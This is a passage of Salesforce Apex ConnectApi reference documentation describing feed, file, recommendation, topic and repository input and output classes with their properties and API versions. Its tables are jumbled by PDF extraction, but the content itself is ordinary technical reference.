• Restricted—Resharing of the file
is restricted.
title String Title of the file. This value is used as the file Required for new 32.0
name for new content. For example, if the content
title is My Title, and the file is a .txt file, the
file name is My Title.txt.
SEE ALSO:
The fields of the item type.

Optional
name String Name of the item field. Required 39.0
value String Value of the item field. Required 39.0
SEE ALSO:

Optional
fields List<ConnectApi. List of fields for the item to be created. Required to create a 39.0
ContentHub SharePoint file in a
repository because
1591

Optional
FieldValue the file name is
Input> required; otherwise
optional
itemTypeId String ID of the item type. Required to create a 39.0

file in a repository
ConnectApi.CustomListAudienceCriteriaInput
The criteria for the custom list type of recommendation audience.
Subclass of ConnectApi.AudienceCriteriaInput.

Optional
member ConnectApi. The operation to carry out on the audience Required to update 36.0
OperationType Recommendation members. Values are: a recommendation
AudienceMember • Add—Adds specified members to the audience
OperationType audience. Don’t use or specify
• Remove—Removes specified null to create a
members from the audience. recommendation
audience
members List<String> A collection of user IDs. Required to update 36.0

When updating an audience, you can a recommendation
include up to 100 members. An audience audience
can have up to 100,000 members, and each Don’t use or specify
community can have up to 100 audiences. null to create a
recommendation
audience
ConnectApi.DatacloudOrderInput Class
Input representation for a Datacloud order to purchase contacts or companies and retrieve purchase information.

Optional Version
companyIds String A comma-separated list of Required to 32.0
identification numbers for the purchase
companies to be purchased. companies
You can’t include any contact IDs or
your purchase fails.
1592

Optional Version
contactIds String A comma-separated list of Required to 32.0
identification numbers for the purchase
contacts to be purchased. contacts
You can’t include any company IDs
or your purchase fails.
userType ConnectDatacloudUserTypeEnum Indicates the Data.com user type to Optional 32.0

be used. There are two user types.
• Monthly (default)
• Listpool
SEE ALSO:
ConnectApi.DirectMessageCapabilityInput
Create or update the members of a direct message.

Optional
membersToAdd List<String> List of user IDs for members to include in Required when 39.0
the direct message. creating a direct
message (POST)
Optional when
updating a direct
message (PATCH)
membersToRemove List<String> List of user IDs for members to remove from Optional when 40.0
the direct message. updating a direct
message (PATCH)
Not supported when
creating a direct
message (POST)
1593

Optional
subject String Subject of the direct message. Optional when 39.0
creating a direct
message (POST)
Not supported when
updating a direct
message (PATCH)
SEE ALSO:
ConnectApi.ExtensionInput
An extension.

Optional
alternative ConnectApi. Alternative representation of the extension. Required 40.0
Representation AlternativeInput
extensionId String ID of the extension. Required 40.0
payload String Payload associated with the extension. Required 40.0
payloadVersion String Payload version that identifies the structure Optional 40.0
of the payload associated with the
extension.
SEE ALSO:
ConnectApi.ExtensionsCapabilityInput
ConnectApi.ExtensionsCapabilityInput
Create or update extensions associated with a feed element.

Optional
itemsToAdd List<ConnectApi. List of extensions to associate with the feed Required for creating 40.0
ExtensionInput> element. an extension
Optional for
updating an
extension
1594

Optional
itemsToRemove List<String> List of attachment IDs to remove from the Optional for 41.0
feed element. updating an
extension
Don’t specify for
creating an
extension
SEE ALSO:
A container for all capabilities that can be included when creating a feed element.

Optional
associated ConnectApi. Describes actions added to the feed Optional 33.0
Actions AssociatedActions element.
CapabilityInput
Class
bookmarks ConnectApi. Describes bookmarks added to the feed Optional 32.0

BookmarksCapability element.
Input
canvas ConnectApi. Describes a canvas app added to the feed Optional 32.0
CanvasCapability element.
Input
content ConnectApi. Describes content added to the feed Optional 32.0–35.0

ContentCapability element.
Input
Important: This class isn’t available
for feed posts in version 36.0 and
later. In version 36.0 and later, use
ConnectApi.FilesCapabilityInput.
directMessage ConnectApi. Describes the direct message. Optional 39.0

DirectMessage
CapabilityInput
extensions ConnectApi. Describes the extensions associated with Optional 40.0

Extensions the feed element.
CapabilityInput
1595

Optional
feedEntityShare ConnectApi. Describes the feed entity shared with the Optional 39.0
FeedEntityShare feed element.
CapabilityInput
files ConnectApi. Describes files attached to the feed element. Optional 36.0
FilesCapabilityInput
link ConnectApi. Describes a link added to the feed element. Optional 32.0
LinkCapabilityInput
poll ConnectApi. Describes a poll added to the feed element. Optional 32.0
PollCapabilityInput
questionAnd ConnectApi. Describes a question and answer capability Optional 32.0

Answers QuestionAndAnswers added to the feed element.
CapabilityInput
topics ConnectApi. Describes topics assigned to the feed Optional 38.0

TopicsCapability element.
Input
SEE ALSO:
ConnectApi.FeedElementInput Class
ConnectApi.FeedElementCapabilityInput Class
A feed element capability.
In API version 30.0 and earlier, most feed items can have comments, likes, topics, and so on. In version 31.0 and later, every feed item
(and feed element) can have a unique set of capabilities. If a capability property exists on a feed element, that capability is available, even
if the capability property doesn’t have a value. For example, if the ChatterLikes capability property exists on a feed element (with
or without a value), the context user can like that feed element. If the capability property doesn’t exist, it isn’t possible to like that feed
element. A capability can also contain associated data. For example, the Moderation capability contains data about moderation
flags.
This class is a superclass of:
• ConnectApi.AssociatedActionsCapabilityInput
• ConnectApi.BookmarksCapabilityInput
• ConnectApi.CanvasCapabilityInput
• ConnectApi.ContentCapabilityInput
• ConnectApi.DirectMessageCapabilityInput
• ConnectApi.ExtensionsCapabilityInput
• ConnectApi.FeedEntityShareCapabilityInput
• ConnectApi.FilesCapabilityInput
• ConnectApi.LinkCapabilityInput
1596
• ConnectApi.MuteCapabilityInput
• ConnectApi.PollCapabilityInput
• ConnectApi.QuestionAndAnswersCapabilityInput
• ConnectApi.ReadByCapabilityInput
• ConnectApi.StatusCapabilityInput
• ConnectApi.TopicsCapabilityInput
ConnectApi.FeedElementInput Class
Feed elements are the top-level items that a feed contains. Feeds are feed element containers.
Superclass of ConnectApi.FeedItemInput Class.

Optional
capabilities ConnectApi. The capabilities that define auxiliary Optional 31.0
FeedElement information on this feed element.
CapabilitiesInput
feedElementType ConnectApi. The type of feed element this input Required 31.0
FeedElementType represents.
subjectId String The ID of the parent this feed element is Required 31.0
being posted to. This value can be the ID of
a user, group, or record, or the string me to
indicate the context user.
SEE ALSO:
Edit a Feed Element
ConnectApi.FeedEntityShareCapabilityInput
Share a feed entity with a feed element.
1597

Optional
feedEntityId String ID of the feed entity to share with the feed Required 39.0
element.
SEE ALSO:
ConnectApi.FeedItemAttachmentInput Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.FeedElementCapabilityInput
Class.
Used to attach a file to a feed item.
Superclass for:
• ConnectApi.CanvasAttachmentInput Class
• ConnectApi.ContentAttachmentInput Class
• ConnectApi.LinkAttachmentInput Class
• ConnectApi.NewFileAttachmentInput Class
• ConnectApi.PollAttachmentInput Class
ConnectApi.FeedItemInput Class
Used to create rich feed items, for example, feed items that include @mentions or files.
Subclass of ConnectApi.FeedElementInput Class as of version 31.0.

Optional Version
attachment ConnectApi.Feed Specifies the attachment for the feed item. The feed Optional 28.0–31.0
ItemAttachment item type is inferred based on the provided attachment.
Input Class
Important: As of API version 32.0, use the
inherited capabilities property.
body ConnectApi. Message body. The body can contain up to 10,000 Required unless 28.0
MessageBody characters and 25 mentions. Because the character the feed item
Input Class limit can change, clients should make a has a link
describeSObjects() call on the FeedItem or capability or a
FeedComment object and look at the length of the content
Body or CommentBody field to determine the capability.
maximum number of allowed characters.
If you specify originalFeedElementId to share
a feed item, use the body property to add the first
comment to the feed item.
1598

Optional Version
To edit this property in a feed item, use
updateFeedElement(communityId,
feedElementId, feedElement). Editing
feed posts is supported in version 34.0 and later.
isBookmarked Boolean Specifies if the new feed item should be bookmarked Optional 28.0–31.0
ByCurrentUser for the user (true) or not (false).

capabilities.bookmarks.isBookmarkedByCurrentUser
property.
original String To share a feed element, specify its 18-character ID. Optional 31.0–38.0
FeedElementId
capabilities.feedEntity
Share.feedEntityId property.
original String To share a feed item, specify its 18-character ID. Optional 28.0–31.0
FeedItemId
Important: In API version 32.0–38.0, use the
originalFeedElementId property. In
API version 39.0 and later, use the
capabilities.feedEntity
Share.feedEntityId property.
visibility ConnectApi. Specifies the type of users who can see a feed item. Optional 28.0
FeedItem • AllUsers—Visibility is not limited to internal
VisibilityType users.
Enum
• InternalUsers—Visibility is limited to
internal users.
Default values:
• For external users, the default value is AllUsers.
External users must use this value to see their posts.
• For internal users, the default value is
InternalUsers. Internal users can accept this
value or use the value AllUsers to allow
external users to see their posts.
If the parent of the feed item is a user, group, or direct
message, the visibility of the feed item must
be AllUsers.
ConnectApi.FileIdInput
Attach a file that has already been uploaded or remove a file from a feed element.
1599

Optional
id String ID of a file that has already been uploaded. Required 36.0
operationType ConnectApi. Specifies the operation to carry out on the Optional 36.0
OperationType file. Values are: If not specified,
• Add—Adds the file to the feed defaults to Add.
element.
• Remove—Removes the file from the
feed element.
Remove operations are processed before
Add operations. Adding content that is
already added and removing content that
is already removed result in no operation.
SEE ALSO:
ConnectApi.FilesCapabilityInput
ConnectApi.FilesCapabilityInput
Attach up to 10 files that have already been uploaded or remove one or more files from a feed element.

Optional
items List<ConnectApi. List of file IDs and operations to be carried Required 36.0
FileIdInput> out on those files.
SEE ALSO:
ConnectApi.GroupInformationInput Class

text String The text in the “Information” section of a group. 28.0
title String The title of the “Information” section of a group. 28.0
SEE ALSO:
ConnectApi.ChatterGroupInput Class
1600
ConnectApi.HashtagSegmentInput Class
Used to include a hashtag in a feed item or comment.
Subclass of ConnectApi.MessageSegmentInput Class

tag String Text of the hash tag without the # (hash tag) prefix 28.0
Note: Closing square brackets ( ] ) are not supported in hash

tag text. If the text contains a closing square bracket ( ] ), the
hash tag ends at the bracket.
SEE ALSO:
ConnectApi.MessageBodyInput Class
ConnectApi.InlineImageSegmentInput
An inline image segment.

Optional
altText String Alt text for the inline image. Optional 35.0
If not specified, the
title of the inline
image file is used as
the alt text.
fileId String ID of the inline image file. Required 35.0
SEE ALSO:
ConnectApi.InviteInput
An invitation.

Optional
invitees List<String> List of email addresses to send the invitation Required 39.0
to.
message String Message to include in the invitation. Optional 39.0
1601
ConnectApi.LinkAttachmentInput Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.LinkCapabilityInput.
Used as part of a feed item attachment, to add links.


url String URL to be used for the link 28.0–31.0
urlName String Title of the link 28.0–31.0
ConnectApi.LinkCapabilityInput
Create or update a link on a feed element.

Optional
url String Link URL. The URL can be to an external site. Required 32.0
urlName String Description of the link. Optional 32.0
SEE ALSO:
ConnectApi.LinkSegmentInput Class
Used to include a link segment in a feed item or comment.

url String URL to be used for the link 28.0
SEE ALSO:
ConnectApi.ManagedTopicPositionCollectionInput Class
A collection of relative positions of managed topics.
1602

Optional
managedTopic List<ConnectApi. List of relative positions of managed topics. Required 32.0
Positions ManagedTopic This list can include Featured and
PositionInput> Navigational managed topics and
doesn’t need to include all managed topics.
For more information about reordering
managed topics, see the example in
reorderManagedTopics(communityId,
managedTopicPositionCollection).
ConnectApi.ManagedTopicPositionInput Class
Relative position of a managed topic.

Optional
managedTopicId String ID of existing managed topic. Required 32.0
position Integer Relative position of the managed topic, Required 32.0

indicated by zero-indexed, ascending whole
numbers.
SEE ALSO:
ConnectApi.ManagedTopicPositionCollectionInput Class
The beginning tag for rich text markup.
1603

Optional
markupType ConnectApi. Specifies the type of rich text markup. Required 35.0
MarkupType • Bold—Bold tag.
• Code—Code tag.
• Italic—Italic tag.
• ListItem—List item tag.
• OrderedList—Ordered list tag.
• Paragraph—Paragraph tag.
• Strikethrough—Strikethrough
tag.
• Underline—Underline tag.
• UnorderedList—Unordered list
tag.
Markup segments with a markupType
of Code can include only text segments.
SEE ALSO:
The end tag for rich text markup.
1604

Optional
markupType ConnectApi. Specifies the type of rich text markup. Required 35.0
• Strikethrough—Strikethrough
tag.
• UnorderedList—Unordered list
tag.
SEE ALSO:
ConnectApi.MentionSegmentInput Class
Include an @mention of a user or group in a feed post or comment. When creating a feed post or comment, you can include up to 25
mentions.

id String ID of the user or group to mention. 28.0
To mention a user, use either id or username. You can’t include Groups are available in 29.0.
both.
To mention a group, you must use id.
username String User name of the user to mention. 38.0

To mention a user, use either id or username. You can’t include
both.
SEE ALSO:
Used to add rich messages to feed items and comments.
1605

messageSegments List<ConnectApi. List of message segments contained in the body 28.0
MessageSegment
Input Class>
SEE ALSO:
ConnectApi.FeedItemInput Class
ConnectApi.AnnouncementInput Class
ConnectApi.MessageSegmentInput Class
Used to add rich message segments to feed items and comments.
Superclass for:
• ConnectApi.HashtagSegmentInput Class
• ConnectApi.InlineImageSegmentInput
• ConnectApi.LinkSegmentInput Class
• ConnectApi.MarkupBeginSegmentInput
• ConnectApi.MarkupEndSegmentInput
• ConnectApi.MentionSegmentInput Class
• ConnectApi.TextSegmentInput Class
Use the ConnectApiHelper repository on GitHub to simplify many of the tasks accomplished with ConnectApi.MessageSegmentInput,
such as posting with inline images, rich text, and mentions.
SEE ALSO:
Edit a Comment
Edit a Feed Element
ConnectApi.MuteCapabilityInput
1606

Optional
isMutedByMe Boolean Indicates whether the feed element is Required 35.0
muted for the context user. Default value is
false.
SEE ALSO:
ConnectApi.NewFileAttachmentInput Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.ContentCapabilityInput.
Describes a new file to be attached to a feed item. The actual binary file, that is the attachment, is provided as part of the BinaryInput in
the method that takes this attachment input, such as postFeedItem or postComment.

description String Description of the file to be uploaded. 28.0–31.0
title String The title of the file. This value is required and is also used as the file 28.0–31.0
name. For example, if the title is My Title, and the file is a .txt file, the
file name is My Title.txt.
ConnectApi.NewUserAudienceCriteriaInput
The criteria for the new members type of recommendation audience.
Subclass of ConnectApi.AudienceCriteriaInput.

Optional
value Double The maximum number of days since a user Required 36.0
became a community member. For
example, if you specify 30, anyone who
became a community member in the last
30 days is included in the new members
audience.
ConnectApi.PhotoInput Class
Use to specify how crop a photo. Use to specify an existing file (a file that has already been uploaded).
Property Type Description Available version

cropSize Integer The length, in pixels, of any edge of the crop square. 29.0
1607
Property Type Description Available version

cropX Integer The position X, in pixels, from the left edge of the image to the start of 29.0
the crop square. Top left is position (0,0).
cropY Integer The position Y, in pixels, from the top edge of the image to the start of 29.0
the crop square. Top left is position (0,0).
fileId String 18 character ID of an existing file. The key prefix must be 069 and the file 25.0
size must be less than 2 GB.
Note: Images uploaded on the Group page and on the User page
don’t have file IDs and therefore can’t be used.
versionNumber Integer Version number of the existing content. If not provided, the latest version 25.0
is used.
SEE ALSO:
updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo)
updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo, fileUpload)
ConnectApi.PinCapabilityInput (Beta)
Pin or unpin a feed element to a feed.

Optional
entityId String ID of the entity to pin or unpin. In version Required 41.0
41.0, entityId must be a feed item ID,
and only one feed item can be pinned per
feed.
isPinned Boolean Specifies whether to pin (true) or unpin Required 41.0

(false) the entity.
ConnectApi.PollAttachmentInput Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.PollCapabilityInput.
1608
Used to attach a poll to a feed item.


pollChoices List<String> The text labels for the poll items. Polls must contain between 2 to 10 poll 28.0–31.0
choices.
ConnectApi.PollCapabilityInput
Create, update, or vote on a poll on a feed element.

Optional
choices List<String> The choices used to create a new poll. You Required for creating 32.0
must specify 2–10 poll choices for each poll. a poll
myChoiceId String ID of an existing choice on the feed poll. Required for voting 32.0
Used to vote on an existing poll. on a poll
SEE ALSO:
ConnectApi.QuestionAndAnswersCapabilityInput
Create or edit a question feed element or set the best answer of the existing question feed element.

Optional
bestAnswerId String A comment ID to use as a best answer for a Required to update 32.0
question feed element. The best answer a feed element.
comment must already exist on the Not supported when
question feed element. posting a feed
element.
1609

Optional
questionTitle String Title for a question feed element. Required to post a 32.0
To edit the title of a question, use feed element.
updateFeedElement(communityId, Not supported when
feedElementId, feedElement). updating a feed
Editing question titles is supported in element.
version 34.0 and later.
SEE ALSO:
ConnectApi.ReadByCapabilityInput
Mark feed elements as read by the context user.

Optional
isReadByMe Boolean Specifies to mark the feed element as read Required 40.0
(true) for the context user.
lastReadDateByMe Datetime Specifies the last date when the feed Optional 40.0
element is marked as read for the context
user. If you don’t specify a date or you
specify a future date, the current system
date is used.
SEE ALSO:
ConnectApi.RecommendationAudienceInput
A recommendation audience.

Optional
criteria ConnectApi. The criteria for the recommendation Optional 36.0
AudienceCriteria audience type. If not specified when
Input creating a
recommendation
audience, the
audience criteria
1610

Optional
type defaults to
custom list.
memberOperation ConnectApi. Required to update 35.0 only

Important: This property is
Type Recommendation a recommendation
available only in version 35.0. In
AudienceMember audience
version 36.0 and later, use
OperationType Don’t use or specify
ConnectApi.
CustomListAudienceCriteriaInput. null to create a
recommendation
The operation to carry out on the audience
audience
members.
• Add—Adds specified members to the
audience.
• Remove—Removes specified
members from the audience.
members List<String> Required to update 35.0 only

Important: This property is
a recommendation
available only in version 35.0. In
audience
version 36.0 and later, use
ConnectApi. Don’t use or specify
CustomListAudienceCriteriaInput. null to create a
recommendation
A collection of user IDs.
audience
When updating an audience, you can
include up to 100 members. An audience
can have up to 100,000 members, and each
community can have up to 100 audiences.
name String The unique name of the recommendation Optional to update a 35.0
audience. recommendation
audience
Required to create a
recommendation
audience
SEE ALSO:
ConnectApi.RecommendationDefinitionInput
A recommendation definition.
1611

Optional
actionUrl String The URL for acting on the recommendation, Required to create a 35.0
for example, the URL to join a group. recommendation
definition
Optional to update a
recommendation
definition
actionUrlName String The text label for the action URL in the user Required to create a 35.0
interface, for example, “Launch.” recommendation
definition
recommendation
definition
explanation String The explanation, or body, of the Required to create a 35.0

recommendation. recommendation
definition
recommendation
definition
name String The name of the recommendation Required to create a 35.0

definition. The name is displayed in Setup. recommendation
definition
recommendation
definition
title String The title of the recommendation definition. Optional 35.0
SEE ALSO:
ConnectApi.RequestHeaderInput Class
An HTTP request header name and value pair.

Optional
name String The name of the request header. Required 33.0
1612

Optional
value String The value of the request header. Required 33.0
SEE ALSO:
ConnectApi.ScheduledRecommendationInput
A scheduled recommendation.

Optional
channel ConnectApi. Specifies a way to tie recommendations Optional for creating 36.0
Recommendation together, for example, to display a scheduled
Channel recommendations in specific places in the recommendation
UI or to show recommendations based on If not specified,
time of day or geographic locations. Values defaults to
are: DefaultChannel.
• CustomChannel1—Custom Don’t use when
recommendation channel. Not used by updating a
default. Work with your community scheduled
manager to define custom channels. recommendation
For example, community managers can
use Community Builder to determine
where recommendations appear.
• CustomChannel2—Custom
recommendation channel. Not used by
default. Work with your community
manager to define custom channels.
• DefaultChannel—Default
recommendation channel.
Recommendations appear by default
1613

Optional
on the Home and Question Detail pages
of Customer Service (Napili) and Partner
Central communities. They also appear
in the feed in communities in the
Salesforce1 mobile browser app and
anywhere community managers add
recommendations using Community
Builder.
Use these channel values; you can’t rename
or create other channels.
enabled Boolean Indicates whether scheduling is enabled. If Optional 35.0

true, the recommendation is enabled and
appears in communities. If false,
recommendations in feeds in the
Salesforce1 mobile browser app aren’t
removed, but no new recommendations
appear. In Customer Service (Napili) and
Partner Central communities, disabled
recommendations no longer appear.
rank Integer Relative rank of the scheduled Optional 35.0

recommendation indicated by ascending
whole numbers starting with 1.
Setting the rank is comparable to an
insertion into an ordered list. The scheduled
recommendation is inserted into the
position specified by the rank. The rank
of all the scheduled recommendations after
it is pushed down. See Ranking scheduled
If the specified rank is larger than the size
of the list, the scheduled recommendation
is put at the end of the list. The rank of
the scheduled recommendation is the size
of the list, instead of the one specified.
If a rank is not specified, the scheduled
recommendation is put at the end of the
list.
recommendation String ID of the audience for this scheduled Optional 35.0

AudienceId recommendation.When updating a
scheduled recommendation, specify ALL
to remove the association between a
recommendation audience and a scheduled
recommendation.
1614

Optional
recommendation String ID of the recommendation definition that Required to create a 35.0
DefinitionId this scheduled recommendation schedules. scheduled
recommendation
You can’t specify a
recommendation
DefinitionId
when updating an
existing scheduled
recommendation.



The result is:

SEE ALSO:
ConnectApi.StatusCapabilityInput
Change the status of a feed post or comment.
1615

Optional
feedEntityStatus ConnectApi. Specifies the status of the feed post or Required 37.0
FeedEntityStatus comment. Values are:
• PendingReview—The feed post or
comment isn’t approved yet and
therefore isn’t published or visible.
• Published—The feed post or
comment is approved and visible.
ConnectApi.StreamSubscriptionInput
An entity to subscribe to for a Chatter feed stream.

Optional
entityId String The ID of any feed-enabled entity, such as Required 39.0
a group, record, or user, that the context
user can access. When subscribed, the
entity’s feed is included in the feed stream.
SEE ALSO:
ConnectApi.ChatterStreamInput
ConnectApi.TextSegmentInput Class
Used to include a text segment in a feed item or comment.
1616

text String Plain text for this segment. If hashtags or links are detected in text, 28.0
they are included in the comment as hashtag and link segments. Mentions
are not detected in text and are not separated out of the text. Mentions
require ConnectApi.MentionSegmentInput Class.
SEE ALSO:
Edit a Comment
Edit a Feed Element
ConnectApi.TopicInput Class
Update a topic’s name or description or merge topics.

description String Description of the topic 29.0
idsToMerge List<String> List of up to five secondary topic IDs to merge with the primary topic 33.0
If any of these secondary topics are managed topics, they lose their topic
type, topic images, and children topics. Their feed items are reassigned
to the primary topic.
name String Name of the topic 29.0

Use this property to change only the capitalization and spacing of the
topic name.
SEE ALSO:
ConnectApi.TopicNamesInput
A list of topic names to replace currently assigned topics. Also a list of suggested topics to assign.

Optional
topicNames List<String> A list of up to 10 topic names for a feed item Required 35.0
or 100 topic names for a record.
1617

Optional
topicSuggestions List<String> A list of suggested topics to assign to a Optional 37.0
record or feed item to improve future topic
suggestions.
SEE ALSO:
ConnectApi.ArticleTopicAssignmentJobInput
ConnectApi.TopicsCapabilityInput
Assign topics to a feed element.

Optional
contextTopic String Name of the parent topic in the community Optional 38.0
Name to which the feed element belongs.
topics List<String> List of topics to assign to the feed element. Required 38.0
SEE ALSO:
ConnectApi.UpDownVoteCapabilityInput
Vote a feed element or a comment up or down.

Optional
vote ConnectApi. Specifies the value of the vote for a feed Required 41.0
UpDownVoteValue element or comment. Values are:
• Down
• None
• Up
ConnectApi.UserInput Class
Used to update a user.
1618

aboutMe String The aboutMe property of a ConnectApi.UserDetail output 29.0
object. This property populates the “About Me” section of the user profile,
which is visible to all members of a community or organization.
SEE ALSO:

Most ConnectApi methods return instances of ConnectApi output classes.
All properties are read-only, except for instances of output classes created within test code.
All output classes are concrete unless marked abstract in this documentation.
All concrete output classes have no-argument constructors that you can invoke only from test code. See Testing ConnectApi Code.
ConnectApi.AbstractContentHubItemType
An item type associated with a repository folder.
This class is abstract.
Superclass of:
• ConnectApi.ContentHubItemTypeDetail
• ConnectApi.ContentHubItemTypeSummary
Property Name Type Description Available Version

contentStream ConnectApi. Specifies support for content streaming. Values are: 39.0
Support ContentHub • ContentStreamAllowed
StreamSupport
• ContentStreamNotAllowed
• ContentStreamRequired
description String Description of the item type. 39.0
displayName String Display name of the item type. 39.0
id String ID of the item type. 39.0
isVersionable Boolean Indicates whether the item type can have versions. 39.0
url String URL to the detailed information of the item type. 39.0
ConnectApi.AbstractDirectoryEntrySummary
A directory entry with summary information.
Superclass of:
1619
• ConnectApi.RepositoryGroupSummary
• ConnectApi.RepositoryUserSummary

domain String Domain of the directory entry. 39.0
email String Email of the directory entry. 39.0
id String ID of the directory entry. 39.0
type ConnectApi. Type of directory entry. Values are: 39.0

ContentHub • GroupEntry
DirectoryEntry
• UserEntry
Type
ConnectApi.AbstractExtensionInformation
Extension information.
Superclass of .ConnectApi.LightningExtensionInformation

extension ConnectApi. Specifies the information type of the extension. 40.0
InformationType ExtensionInformation Values are:
Type • Lightning
ConnectApi.AbstractMessageBody Class
Superclass of:
• ConnectApi.FeedBody Class
• ConnectApi.MessageBody Class
Name Type Description Available

Version
isRichText Boolean Indicates whether the body is rich text. 35.0
messageSegments List<ConnectApi. List of message segments 28.0

MessageSegment>
text String Display-ready text. Use this text if you don’t want to process 28.0
the message segments.
1620
ConnectApi.AbstractRecommendation Class
A recommendation.
Superclass of:
• ConnectApi.EntityRecommendation Class
• ConnectApi.NonEntityRecommendation Class
ConnectApi.NonEntityRecommendation Class isn’t used in version 34.0 and later. In version 34.0 and later,
ConnectApi.EntityRecommendation Class is used for all recommendations.

explanation ConnectApi. The recommendation explanation. 32.0
Recommendation
Explanation
platformAction ConnectApi. A platform action group instance with state 34.0

Group PlatformAction appropriate for the context user.
Group
recommendation ConnectApi. Specifies the type of record being recommended. 32.0

Type RecommendationType
url String URL for the recommendation. 34.0
SEE ALSO:
ConnectApi.RecommendationsCapability
ConnectApi.RecommendationCollection Class
ConnectApi.AbstractRecommendationExplanation Class
Explanation for a recommendation.
Superclass of ConnectApi.RecommendationExplanation Class.

summary String Summary explanation for recommendation. 32.0
type ConnectApi. Indicates the reason for the recommendation. 32.0

Recommendation • ArticleHasRelatedContent—Articles
ExplanationType with related content to a context article.
• ArticleViewedTogether—Articles often
viewed together with the article that the context
user just viewed.
1621

• ArticleViewedTogetherWithViewers—Articles
often viewed together with other records that
the context user views.
• Custom—Custom recommendations.
• FilePopular—Files with many followers or
views.
• FileViewedTogether—Files often viewed
at the same time as other files that the context
user views.
• FollowedTogetherWithFollowees—Users
often followed together with other records that
the context user follows.
• GroupMembersFollowed—Groups with
members that the context user follows.
• GroupNew—Recently created groups.
• GroupPopular—Groups with many active
members.
• ItemViewedTogether—Records often
viewed at the same time as other records that
• PopularApp—Applications that are popular.
• RecordOwned—Records that are owned by
the context user.
• RecordParentOfFollowed—Parent
records of records that the context user follows.
• RecordViewed—Records that the context
user recently viewed.
• TopicFollowedTogether—Topics often
followed together with the record that the
context user just followed.
• TopicFollowedTogetherWithFollowees—Topics
often followed together with other records that
the context user follows.
• TopicPopularFollowed—Topics with
many followers.
• TopicPopularLiked—Topics on posts that
have many likes.
• UserDirectReport—Users who report to
the context user.
• UserFollowedTogether—Users often
followed together with the record that the
1622

• UserFollowsSameUsers—Users who
follow the same users as the context user.
• UserManager—The context user’s manager.
• UserNew—Recently created users.
• UserPeer—Users who report to the same
manager as the context user.
• UserPopular—Users with many followers.
• UserViewingSameRecords—Users who
view the same records as the context user.
ConnectApi.AbstractRecordField Class
Superclass of:
• ConnectApi.BlankRecordField Class
• ConnectApi.LabeledRecordField Class
A field on a record object.
subclasses.
1623
Name Type Description Available Version

type String The type of the field. One of these values: 29.0
• Address
• Blank
• Boolean
• Compound
• CreatedBy
• Date
• DateTime
• Email
• LastModifiedBy
• Location
• Name
• Number
• Percent
• Phone
• Picklist
• Reference
• Text
• Time
SEE ALSO:
ConnectApi.RecordViewSection Class
ConnectApi.AbstractRecordView Class
Subclass of ConnectApi.ActorWithId Class
Superclass of:
• ConnectApi.RecordSummary Class
• ConnectApi.RecordView Class
A view of any record in the organization, including a custom object record. This object is used if a specialized object, such as User or
ChatterGroup, is not available for the record type.

name String The localized name of the record. 29.0
ConnectApi.AbstractRepositoryFile
A repository file.
1624

Subclass of ConnectApi.AbstractRepositoryItem.
Superclass of:
• ConnectApi.RepositoryFileDetail
• ConnectApi.RepositoryFileSummary

checkinComment String Checkin comment of the file. 39.0
contentSize Integer Length in bytes of the content of the file. 39.0
downloadUrl String URL to the repository file content. 39.0
external String URL of this file’s content in the external system. 39.0
ContentUrl
external String URL of this file in the external system. 39.0

DocumentUrl
external ConnectApi. External file permission information, such as available 39.0

FilePermission ExternalFile groups, available permission types, and current
Information PermissionInformation sharing status, or null if
is false.
mimeType String Mime type of the file. 39.0
previewUrl String URL to the thumbnail preview (240 x 180 PNG). 39.0
Thumbnail
previewUrl String URL to the big thumbnail preview (720 x 480 PNG). 39.0
ThumbnailBig
previewUrl String URL to the tiny thumbnail preview (120 x 90 PNG). 39.0
ThumbnailTiny
previewsUrl String URL to the previews. 39.0
title String Title of the file. 39.0
versionId String ID of the file version in the external system. 39.0
ConnectApi.AbstractRepositoryFolder
A repository folder.
Subclass of ConnectApi.AbstractRepositoryItem.
Superclass of:
• ConnectApi.RepositoryFolderDetail
• ConnectApi.RepositoryFolderSummary
1625

externalFolderUrl String URL of this folder in the external system. 39.0
folderItemsUrl String URL that lists the files and folders in this folder. 39.0
path String Absolute path of the folder in the external system. 39.0
ConnectApi.AbstractRepositoryItem
A repository item.
Superclass of:
• ConnectApi.AbstractRepositoryFile
• ConnectApi.AbstractRepositoryFolder

createdBy String Name of the user who created the item. 39.0
createdDate Datetime Date the item was created. 39.0
description String Description of the Item. 39.0
id String ID of the item. 39.0
itemTypeUrl String URL to the item type information. 39.0
modifiedBy String Name of the user who last modified the item. 39.0
modifiedDate Datetime Date the item was last modified. 39.0
motif ConnectApi.Motif Motif of the item. 39.0
name String Name of the item. 39.0
repository ConnectApi. Item external repository. 39.0

Reference
type String Item type, file or folder. 39.0
url String The URL to the item. 39.0
ConnectApi.ActionLinkDefinition Class
The definition of an action link. Action link definition can be sensitive to a third party (for example, OAuth bearer token headers). For this
reason, only calls made from the Apex namespace that created the action link definition can read, modify, or delete the definition. In

actionUrl String The action link URL. For example, a Ui action link 33.0
URL is a Web page. A Download action link URL is
1626

a link to the file to download. Ui and Download
action link URLs are provided to clients. An Api or
ApiAsync action link URL is a REST resource. Api
and ApiAsync action link URLs aren’t provided to
clients. Links to Salesforce can be relative. All other
links must be absolute and start with https://.
createdDate Datetime An ISO 8601 format date string, for example, 33.0
2011-02-25T18:24:31.000Z.
excludedUserId String ID of a single user to exclude from performing the 33.0

action. If you specify an excludedUserId, you
can’t specify a userId.
groupDefault Boolean true if this action is the default action link in the 33.0
action link group; false otherwise. There can be
only one default action link per action link group. The
default action link gets distinct styling in the
Salesforce UI.
headers List<ConnectApi. The request headers for the Api and ApiAsync 33.0
RequestHeader> action link types.
id String The 18-character ID for the action link definition. 33.0
label String A custom label to display on the action link button. 34.0
A label value can be set only in an action link
template.
Action links have four statuses: NewStatus,
PendingStatus, SuccessStatus, and FailedStatus. These
strings are appended to the label for each status:
• label
• label Pending
• label Success
• label Failed
For example, if the value of label is “See Example,”
the values of the four action link states are: See
Example, See Example Pending, See Example Success,
and See Example Failed.
An action link can use either label or labelKey
to generate label names, it can’t use both. If label
has a value, the value of labelKey is None. If
labelKey has a value other than None, the value
of label is null.
labelKey String Key for the set of labels to show in the user interface. 33.0
A set includes labels for these states: NewStatus,
PendingStatus, SuccessStatus, FailedStatus. For
1627

